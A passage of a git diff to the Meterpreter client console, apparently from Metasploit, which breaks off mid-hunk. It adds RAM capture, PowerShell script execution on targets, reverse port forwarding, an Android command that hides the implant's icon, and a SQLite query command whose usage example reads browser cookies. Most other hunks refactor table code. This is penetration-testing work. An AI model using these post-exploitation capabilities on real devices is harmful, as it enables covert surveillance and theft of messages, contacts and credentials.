a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 0dcb281df7..3736e8faa6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -66,7 +66,7 @@ class Webcam remote_browser_path = webrtc_browser_path - if remote_browser_path.blank? + if remote_browser_path.to_s.strip.empty? fail "Unable to find a suitable browser on the target machine" end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb new file mode 100644 index 0000000000..fc3fb8c9a8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem + TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) + TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb new file mode 100644 index 0000000000..72b8a86af4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/winpmem/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem +### +# +# This meterpreter extension can be used to capture remote RAM +# +### +class Winpmem < Extension + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def initialize(client) + super(client, 'winpmem') + + client.register_extension_aliases( + [ + { + 'name' => 'winpmem', + 'ext' => self + }, + ]) + end + + def dump_ram + request = Packet.create_request('dump_ram') + response = client.send_request(request) + response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE) + + return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS + + memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + + raise Exception, "We did not get a channel back!" if channel_id.nil? + #Open the compressed Channel + channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS) + return memory_size, response_code, channel + end +end +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index c4c93d6b37..5b33c7b7c5 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -62,7 +62,8 @@ class PacketParser # header size doesn't include the xor key, which is always tacked on the front self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) end - elsif (self.payload_length_left > 0) + end + if (self.payload_length_left > 0) buf = sock.read(self.payload_length_left) if (buf) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index adf2bc5865..2f0e682330 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -31,21 +31,25 @@ class Console::CommandDispatcher::Android 'wlan_geolocate' => 'Get current lat-long using WLAN information', 'interval_collect' => 'Manage interval collection capabilities', 'activity_start' => 'Start an Android activity from a Uri string', + 'hide_app_icon' => 'Hide the app icon from the launcher', + 'sqlite_query' => 'Query a SQLite database from storage', 'set_audio_mode' => 'Set Ringer Mode' } reqs = { - 'dump_sms' => ['dump_sms'], - 'dump_contacts' => ['dump_contacts'], - 'geolocate' => ['geolocate'], - 'dump_calllog' => ['dump_calllog'], - 'check_root' => ['check_root'], - 'device_shutdown' => ['device_shutdown'], - 'send_sms' => ['send_sms'], - 'wlan_geolocate' => ['wlan_geolocate'], - 'interval_collect' => ['interval_collect'], - 'activity_start' => ['activity_start'], - 'set_audio_mode' => ['set_audio_mode'] + 'dump_sms' => ['android_dump_sms'], + 'dump_contacts' => ['android_dump_contacts'], + 'geolocate' => ['android_geolocate'], + 'dump_calllog' => ['android_dump_calllog'], + 'check_root' => ['android_check_root'], + 'device_shutdown' => ['android_device_shutdown'], + 'send_sms' => ['android_send_sms'], + 'wlan_geolocate' => ['android_wlan_geolocate'], + 'interval_collect' => ['android_interval_collect'], + 'activity_start' => ['android_activity_start'], + 'hide_app_icon' => ['android_hide_app_icon'], + 'sqlite_query' => ['android_sqlite_query'], + 'set_audio_mode' => ['android_set_audio_mode'] } # Ensure any requirements of the command are met @@ -109,7 +113,7 @@ class Console::CommandDispatcher::Android header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" end - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => header, 'SortIndex' => 0, 'Columns' => result[:headers], @@ -189,7 +193,7 @@ class Console::CommandDispatcher::Android path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-o' => [ true, 'Output path for sms list'] ) dump_sms_opts.parse(args) do |opt, _idx, val| @@ -277,7 +281,7 @@ class Console::CommandDispatcher::Android dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for contacts list'] + '-o' => [ true, 'Output path for contacts list'] ) dump_contacts_opts.parse(args) do |opt, _idx, val| @@ -381,7 +385,7 @@ class Console::CommandDispatcher::Android dump_calllog_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for call log'] + '-o' => [ true, 'Output path for call log'] ) @@ -491,7 +495,7 @@ class Console::CommandDispatcher::Android end end - if dest.blank? || body.blank? + if dest.to_s.empty? || body.to_s.empty? print_error("You must enter both a destination address -d and the SMS text body -t") print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') print_line(send_sms_opts.usage) @@ -543,7 +547,7 @@ class Console::CommandDispatcher::Android wlan_list << [mac, ssid, ss.to_s] end - if wlan_list.blank? + if wlan_list.to_s.empty? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end @@ -578,6 +582,76 @@ class Console::CommandDispatcher::Android end end + def cmd_hide_app_icon(*args) + hide_app_icon_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + hide_app_icon_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: hide_app_icon [options]') + print_line('Hide the application icon from the launcher.') + print_line(hide_app_icon_opts.usage) + return + end + end + + result = client.android.hide_app_icon + if result + print_status("Activity #{result} was hidden") + end + end + + def cmd_sqlite_query(*args) + sqlite_query_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'The sqlite database file'], + '-q' => [ true, 'The sqlite statement to execute'], + '-w' => [ false, 'Open the database in writable mode (for INSERT/UPDATE statements)'] + ) + + writeable = false + database = '' + query = '' + sqlite_query_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: sqlite_query -d -q \n") + print_line(sqlite_query_opts.usage) + return + when '-d' + database = val + when '-q' + query = val + when '-w' + writeable = true + end + end + + if database.blank? || query.blank? + print_error("You must enter both a database files and a query") + print_error("e.g. sqlite_query -d /data/data/com.android.browser/databases/webviewCookiesChromium.db -q 'SELECT * from cookies'") + print_line(sqlite_query_opts.usage) + return + end + + result = client.android.sqlite_query(database, query, writeable) + unless writeable + header = "#{query} on database file #{database}" + table = Rex::Text::Table.new( + 'Header' => header, + 'Columns' => result[:columns], + 'Indent' => 0 + ) + result[:rows].each do |e| + table << e + end + print_line + print_line(table.to_s) + end + end + # # Name for this dispatcher # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index bd390e0685..d37652b2a1 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -65,6 +65,7 @@ class Console::CommandDispatcher::Core "bgkill" => "Kills a background meterpreter script", "get_timeouts" => "Get the current session timeout values", "set_timeouts" => "Set the current session timeout values", + "sess" => "Quickly switch to another session", "bglist" => "Lists running background scripts", "write" => "Writes data to a channel", "enable_unicode_encoding" => "Enables encoding of unicode strings", @@ -111,6 +112,28 @@ class Console::CommandDispatcher::Core "Core" end + def cmd_sess_help + print_line('Usage: sess ') + print_line + print_line('Interact with a different session Id.') + print_line('This works the same as calling this from the MSF shell: sessions -i ') + print_line + end + + def cmd_sess(*args) + if args.length == 0 || args[0].to_i == 0 + cmd_sess_help + elsif args[0].to_s == client.name.to_s + print_status("Session #{client.name} is already interactive.") + else + print_status("Backgrounding session #{client.name}...") + # store the next session id so that it can be referenced as soon + # as this session is no longer interacting + client.next_session = args[0] + client.interacting = false + end + end + def cmd_background_help print_line "Usage: background" print_line @@ -182,7 +205,7 @@ class Console::CommandDispatcher::Core case mode when :list - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => 4, 'Columns' => [ @@ -575,6 +598,7 @@ class Console::CommandDispatcher::Core '-p' => [ true, 'LPORT parameter' ], '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], + '-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], @@ -656,6 +680,8 @@ class Console::CommandDispatcher::Core opts[:uri] = val when '-i' transport_index = val.to_i + when '-lu' + opts[:luri] = val when '-ph' opts[:proxy_host] = val when '-pp' @@ -729,7 +755,7 @@ class Console::CommandDispatcher::Core end # next draw up a table of transport entries - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'SortIndex' => 0, # sort by ID 'Indent' => 4, 'Columns' => columns) @@ -866,7 +892,7 @@ class Console::CommandDispatcher::Core end pid = val.to_i when '-N' - if val.blank? + if val.to_s.empty? print_error("No process name provided") return end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index f61e10ed7c..1cb866af3b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -294,7 +294,7 @@ class Console::CommandDispatcher::Extapi::Adsi objects = client.extapi.adsi.domain_query(domain, filter, max_results, page_size, args) - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "#{domain} Objects", 'Indent' => 0, 'SortIndex' => 0, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 199cad709c..9c4b3ce920 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -376,7 +376,7 @@ private dest = File.join( dest_folder, base ) if stat.directory? - client.fs.dir.download( dest, source, true, true ) { |step, src, dst| + client.fs.dir.download( dest, source, {"recursive" => true}, true ) { |step, src, dst| print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb index 5b0895fb2c..45df08bd33 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb @@ -86,7 +86,7 @@ class Console::CommandDispatcher::Extapi::Service services = client.extapi.service.enumerate - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Service List', 'Indent' => 0, 'SortIndex' => 3, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb index 35a38025f8..72c0210fbd 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb @@ -82,7 +82,7 @@ class Console::CommandDispatcher::Extapi::Window header = parent_window ? "Child windows of #{parent_window}" : "Top-level windows" - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => header, 'Indent' => 0, 'SortIndex' => 0, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb index d4670fb42b..68c5612893 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb @@ -75,7 +75,7 @@ class Console::CommandDispatcher::Extapi::Wmi objects = client.extapi.wmi.query(query, root) if objects - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => query, 'Indent' => 0, 'SortIndex' => 0, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 408a895b7c..cdf70ca91c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -259,7 +259,7 @@ class Console::CommandDispatcher::Kiwi fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags'] fields << 'Export Path' if export - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Kerberos Tickets', 'Indent' => 0, 'SortIndex' => 0, @@ -335,7 +335,7 @@ class Console::CommandDispatcher::Kiwi if results.length > 0 results.each do |r| - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "#{r[:desc]} - #{r[:guid]}", 'Indent' => 0, 'SortIndex' => 0, @@ -471,7 +471,7 @@ protected print_status("Retrieving #{provider} credentials") accounts = method.call - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "#{provider} credentials", 'Indent' => 0, 'SortIndex' => 0, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb index 8e669098aa..1940a92e9d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -228,7 +228,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp log = client.lanattacks.dhcp.log - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'DHCP Server Log', 'Indent' => 0, 'SortIndex' => 0, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 65a19c4fe9..5eb2810b9f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -95,7 +95,7 @@ class Console::CommandDispatcher::Mimikatz print_status("Retrieving #{provider} credentials") accounts = method.call - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "#{provider} credentials", 'Indent' => 0, 'SortIndex' => 4, diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb new file mode 100644 index 0000000000..9634db26cc --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb @@ -0,0 +1,159 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Powershell extension - interact with a Powershell interpreter +# +### +class Console::CommandDispatcher::Powershell + + Klass = Console::CommandDispatcher::Powershell + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Powershell' + end + + # + # List of supported commands. + # + def commands + { + 'powershell_import' => 'Import a PS1 script or .NET Assembly DLL', + 'powershell_shell' => 'Create an interactive Powershell prompt', + 'powershell_execute' => 'Execute a Powershell command string' + } + end + + @@powershell_shell_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to interact with.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_shell_usage + print_line('Usage: powershell_shell [-s session-id]') + print_line + print_line('Creates an interactive Powershell prompt.') + print_line(@@powershell_shell_opts.usage) + end + + # + # Create an interactive powershell prompts + # + def cmd_powershell_shell(*args) + if args.include?('-h') + powershell_shell_usage + return false + end + + opts = {} + + @@powershell_shell_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + channel = client.powershell.shell(opts) + shell.interact_with_channel(channel) + end + + @@powershell_import_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_import_usage + print_line('Usage: powershell_import [-s session-id]') + print_line + print_line('Imports a powershell script or assembly into the target.') + print_line('The file must end in ".ps1" or ".dll".') + print_line('Powershell scripts can be loaded into any session (via -s).') + print_line('.NET assemblies are applied to all sessions.') + print_line(@@powershell_import_opts.usage) + end + + # + # Import a script or assembly component into the target. + # + def cmd_powershell_import(*args) + if args.length == 0 || args.include?('-h') + powershell_import_usage + return false + end + + opts = { + file: args.shift + } + + @@powershell_import_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + result = client.powershell.import_file(opts) + if result.nil? || result == false + print_error("File failed to load.") + elsif result == true || result.empty? + print_good("File successfully imported. No result was returned.") + else + print_good("File successfully imported. Result:\n#{result}") + end + end + + @@powershell_execute_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_execute_usage + print_line('Usage: powershell_execute [-s session-id]') + print_line + print_line('Runs the given Powershell string on the target.') + print_line(@@powershell_execute_opts.usage) + end + + # + # Execute a simple Powershell command string + # + def cmd_powershell_execute(*args) + if args.length == 0 || args.include?('-h') + powershell_execute_usage + return false + end + + opts = { + code: args.shift + } + + @@powershell_execute_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + result = client.powershell.execute_string(opts) + print_good("Command execution completed:\n#{result}") + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index e1c3158f84..9e1ef52bc1 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -19,12 +19,18 @@ class Console::CommandDispatcher::Stdapi::Fs include Console::CommandDispatcher + CHECKSUM_ALGORITHMS = %w{ md5 sha1 } + private_constant :CHECKSUM_ALGORITHMS + # # Options for the download command. # @@download_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], - "-r" => [ false, "Download recursively." ]) + "-c" => [ false, "Resume getting a partially-downloaded file." ], + "-l" => [ true, "Set the limit of retries (0 unlimits)." ], + "-r" => [ false, "Download recursively." ], + "-t" => [ false, "Timestamp downloaded files." ]) # # Options for the upload command. # @@ -36,7 +42,7 @@ class Console::CommandDispatcher::Stdapi::Fs # @@ls_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], - "-S" => [ true, "Search string." ], + "-S" => [ true, "Search string." ], "-t" => [ false, "Sort by time" ], "-s" => [ false, "Sort by size" ], "-r" => [ false, "Reverse sort order" ], @@ -51,6 +57,7 @@ class Console::CommandDispatcher::Stdapi::Fs all = { 'cat' => 'Read the contents of a file to the screen', 'cd' => 'Change directory', + 'checksum' => 'Retrieve the checksum of a file', 'del' => 'Delete the specified file', 'dir' => 'List files (alias for ls)', 'download' => 'Download a file or directory', @@ -63,7 +70,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'mkdir' => 'Make directory', 'pwd' => 'Print working directory', 'rm' => 'Delete the specified file', - 'mv' => 'Move source to destination', + 'mv' => 'Move source to destination', 'rmdir' => 'Remove directory', 'search' => 'Search for files', 'upload' => 'Upload a file or directory', @@ -73,6 +80,7 @@ class Console::CommandDispatcher::Stdapi::Fs reqs = { 'cat' => [], 'cd' => ['stdapi_fs_chdir'], + 'checksum' => CHECKSUM_ALGORITHMS.map { |a| "stdapi_fs_#{a}" }, 'del' => ['stdapi_fs_rm'], 'dir' => ['stdapi_fs_stat', 'stdapi_fs_ls'], 'download' => [], @@ -183,7 +191,7 @@ class Console::CommandDispatcher::Stdapi::Fs mounts = client.fs.mount.show_mount - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Mounts / Drives', 'Indent' => 0, 'SortIndex' => 0, @@ -268,6 +276,36 @@ class Console::CommandDispatcher::Stdapi::Fs return true end + # + # Retrieve the checksum of a file + # + def cmd_checksum(*args) + algorithm = args.shift + algorithm.downcase! unless algorithm.nil? + unless args.length > 0 and CHECKSUM_ALGORITHMS.include?(algorithm) + print_line("Usage: checksum [#{ CHECKSUM_ALGORITHMS.join(' / ') }] file1 file2 file3 ...") + return true + end + + args.each do |filepath| + checksum = client.fs.file.send(algorithm, filepath) + print_line("#{Rex::Text.to_hex(checksum, '')} #{filepath}") + end + + return true + end + + def cmd_checksum_tabs(str, words) + tabs = [] + return tabs unless words.length == 1 + + CHECKSUM_ALGORITHMS.each do |algorithm| + tabs << algorithm if algorithm.start_with?(str.downcase) + end + + tabs + end + # # Delete the specified file. # @@ -335,11 +373,26 @@ class Console::CommandDispatcher::Stdapi::Fs src_items = [] last = nil dest = nil + continue = false + tries = false + tries_no = 0 + opts = {} @@download_opts.parse(args) { |opt, idx, val| case opt when "-r" recursive = true + opts['recursive'] = true + when "-c" + continue = true + opts['continue'] = true + when "-l" + tries = true + tries_no = val.to_i + opts['tries'] = true + opts['tries_no'] = tries_no + when "-t" + opts['timestamp'] = '_' + Time.now.iso8601 when nil src_items << last if (last) last = val @@ -389,8 +442,7 @@ class Console::CommandDispatcher::Stdapi::Fs src_path = file['path'] + client.fs.file.separator + file['name'] dest_path = src_path.tr(src_separator, ::File::SEPARATOR) - client.fs.file.download(dest_path, src_path) do |step, src, dst| - puts step + client.fs.file.download(dest_path, src_path, opts) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") client.framework.events.on_session_download(client, src, dest) if msf_loaded? end @@ -402,14 +454,27 @@ class Console::CommandDispatcher::Stdapi::Fs else # Perform direct matching - stat = client.fs.file.stat(src) + tries_cnt = 0 + begin + stat = client.fs.file.stat(src) + rescue Rex::TimeoutError + if (tries && (tries_no == 0 || tries_cnt < tries_no)) + tries_cnt += 1 + print_error("Error opening: #{src} - retry (#{tries_cnt})") + retry + else + print_error("Error opening: #{src} - giving up") + raise + end + end + if (stat.directory?) - client.fs.dir.download(dest, src, recursive, true, glob) do |step, src, dst| + client.fs.dir.download(dest, src, opts, true, glob) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") client.framework.events.on_session_download(client, src, dest) if msf_loaded? end elsif (stat.file?) - client.fs.file.download(dest, src) do |step, src, dst| + client.fs.file.download(dest, src, opts) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") client.framework.events.on_session_download(client, src, dest) if msf_loaded? end @@ -475,7 +540,7 @@ class Console::CommandDispatcher::Stdapi::Fs return end - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Listing: #{path}", 'SortIndex' => columns.index(sort), 'SortOrder' => order, @@ -605,7 +670,6 @@ class Console::CommandDispatcher::Stdapi::Fs # alias cmd_dir cmd_ls - # # Make one or more directory. # @@ -702,7 +766,7 @@ class Console::CommandDispatcher::Stdapi::Fs client.framework.events.on_session_upload(client, src, dest) if msf_loaded? } elsif (stat.file?) - if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory? + if client.fs.file.exist?(dest) && client.fs.file.stat(dest).directory? client.fs.file.upload(dest, src) { |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") client.framework.events.on_session_upload(client, src, dest) if msf_loaded? diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 50852d8d5d..e6d194a3eb 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -35,65 +35,77 @@ class Console::CommandDispatcher::Stdapi::Net attr_accessor :pfservice end + # + # Options for the resolve command + # + @@resolve_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner.' ], + '-f' => [true, 'Address family - IPv4 or IPv6 (default IPv4)']) + # # Options for the route command. # @@route_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ]) + '-h' => [false, 'Help banner.']) # # Options for the portfwd command. # @@portfwd_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-l" => [ true, "The local port to listen on." ], - "-r" => [ true, "The remote host to connect to." ], - "-p" => [ true, "The remote port to connect to." ], - "-L" => [ true, "The local host to listen on (optional)." ]) + '-h' => [false, 'Help banner.'], + '-i' => [true, 'Index of the port forward entry to interact with (see the "list" command).'], + '-l' => [true, 'Forward: local port to listen on. Reverse: local port to connect to.'], + '-r' => [true, 'Forward: remote host to connect to.'], + '-p' => [true, 'Forward: remote port to connect to. Reverse: remote port to listen on.'], + '-R' => [false, 'Indicates a reverse port forward.'], + '-L' => [true, 'Forward: local host to listen on (optional). Remote: local host to connect to.']) # # Options for the netstat command. # @@netstat_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-S" => [ true, "Search string." ]) + '-h' => [false, 'Help banner.'], + '-S' => [true, 'Search string.']) # # Options for ARP command. # @@arp_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-S" => [ true, "Search string." ]) + '-h' => [false, 'Help banner.'], + '-S' => [true, 'Search string.']) # # List of supported commands. # def commands all = { - "ipconfig" => "Display interfaces", - "ifconfig" => "Display interfaces", - "route" => "View and modify the routing table", - "portfwd" => "Forward a local port to a remote service", - "arp" => "Display the host ARP cache", - "netstat" => "Display the network connections", - "getproxy" => "Display the current proxy configuration", + 'ipconfig' => 'Display interfaces', + 'ifconfig' => 'Display interfaces', + 'route' => 'View and modify the routing table', + 'portfwd' => 'Forward a local port to a remote service', + 'arp' => 'Display the host ARP cache', + 'netstat' => 'Display the network connections', + 'getproxy' => 'Display the current proxy configuration', + 'resolve' => 'Resolve a set of host names on the target', } + reqs = { - "ipconfig" => [ "stdapi_net_config_get_interfaces" ], - "ifconfig" => [ "stdapi_net_config_get_interfaces" ], - "route" => [ + 'ipconfig' => ['stdapi_net_config_get_interfaces'], + 'ifconfig' => ['stdapi_net_config_get_interfaces'], + 'route' => [ # Also uses these, but we don't want to be unable to list them # just because we can't alter them. - #"stdapi_net_config_add_route", - #"stdapi_net_config_remove_route", - "stdapi_net_config_get_routes" + #'stdapi_net_config_add_route', + #'stdapi_net_config_remove_route', + 'stdapi_net_config_get_routes' ], # Only creates tcp channels, which is something whose availability # we can't check directly at the moment. - "portfwd" => [ ], - "arp" => [ "stdapi_net_config_get_arp_table" ], - "netstat" => [ "stdapi_net_config_get_netstat" ], - "getproxy" => [ "stdapi_net_config_get_proxy" ], + 'portfwd' => [], + 'arp' => ['stdapi_net_config_get_arp_table'], + 'netstat' => ['stdapi_net_config_get_netstat'], + 'getproxy' => ['stdapi_net_config_get_proxy'], + 'resolve' => ['stdapi_net_resolve_host'], } all.delete_if do |cmd, desc| @@ -114,14 +126,21 @@ class Console::CommandDispatcher::Stdapi::Net # Name for this dispatcher. # def name - "Stdapi: Networking" + 'Stdapi: Networking' end + # # Displays network connections of the remote machine. # def cmd_netstat(*args) + if args.include?('-h') + @@netstat_opts.usage + return 0 + end + connection_table = client.net.config.netstat search_term = nil + @@netstat_opts.parse(args) { |opt, idx, val| case opt when '-S' @@ -132,26 +151,23 @@ class Console::CommandDispatcher::Stdapi::Net else search_term = /#{search_term}/nmi end - when "-h" - @@netstat_opts.usage - return 0 end } - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Connection list", + + tbl = Rex::Text::Table.new( + 'Header' => 'Connection list', 'Indent' => 4, - 'Columns' => - [ - "Proto", - "Local address", - "Remote address", - "State", - "User", - "Inode", - "PID/Program name" - ], - 'SearchTerm' => search_term) + 